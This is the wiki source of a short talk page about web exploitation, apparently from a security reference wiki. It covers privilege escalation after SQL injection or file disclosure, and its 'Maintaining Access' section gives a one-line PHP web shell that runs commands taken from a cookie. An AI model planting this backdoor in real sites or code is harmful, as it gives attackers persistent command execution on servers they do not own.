View source for Category talk:Web exploitation

== Privilege Escalation ==
Due to the fact that not all types of web exploitation automatically yield a remote shell to execute arbitrary commands, it can be necessary to escalate privileges or [[traverse]] by other means in order to obtain an actual shell in the following circumstances:

* [[local file disclosure]]
* [[SQL injection]]

== Maintaining Access == 
The following [[interpreted languages]] can be used to maintain access once a shell is granted:
* [[PHP]]:
:{{code|text=<source lang="php"><?php passthru(array_pop($_COOKIE)); ?></source>}}
* [[Perl]]:
* [[Ruby]]: 
* [[Python]]: 
* [[SQL]]: